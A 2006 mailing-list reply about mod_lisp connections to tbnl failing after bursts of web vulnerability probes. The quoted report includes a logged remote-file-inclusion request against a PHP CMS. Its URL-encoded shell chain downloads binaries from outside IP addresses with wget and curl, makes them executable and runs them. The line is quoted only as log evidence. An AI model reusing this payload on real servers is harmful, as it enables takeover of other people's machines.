[tbnl-devel] tbnl/mod_lisp disconnection?

[Edi Weitz]

Hi Zach!

On Wed, 5 Apr 2006 09:47:11 -0400, Zach Beane <xach at xach.com> wrote:

> Every now and then I get hit by a sudden probe of various web script
> vulnerabilities. The requests look like this:
>
>    POST /xmlrpc/xmlrpc.php
>    POST /blogs/xmlsrv/xmlrpc.php
>    GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20arts%20http://207.90.211.54/arts;chmod%20744%20arts;./arts;echo%20YYY;echo|
>
> After these things happen, the connection between mod_lisp and tbnl
> starts to fail with this message in the apache logs:
>
>    [Wed Apr 05 08:19:50 2006] [error] (70014)End of file found: error reading from Lisp
>    [Wed Apr 05 08:19:51 2006] [error] (70014)End of file found: error reading from Lisp
>
> Making requests to the website results in a 500 Internal Server Error.
>
> I have looked at the listener object when this happens, and it seems
> to have 10 workers. After a few more requests (all 500 errors), the
> worker count drops down, and then suddenly things start working
> normally again.
>
> What might be happening with the connection in this situation? Is
> there anything in the listener object I can inspect to discover why
> the mod_lisp connection is getting EOF?

Sorry for the loooooong delay.  I'm /really/ busy... :)

Have you made any progress with this?  I've tried to reproduce it (LWL
and Apache 2) but everything worked fine.  Which Lisp are you using?

ATM I don't really have an idea how to tackle this.  Sometimes, when I
was really desperate, I've hacked the mod_lisp C code to debug
problems like this one, but that isn't fun.  Actually, that was one of
the reasons I wrote Hunchentoot...

I'm afraid I can't be more helpful right now.

Cheers,
Edi.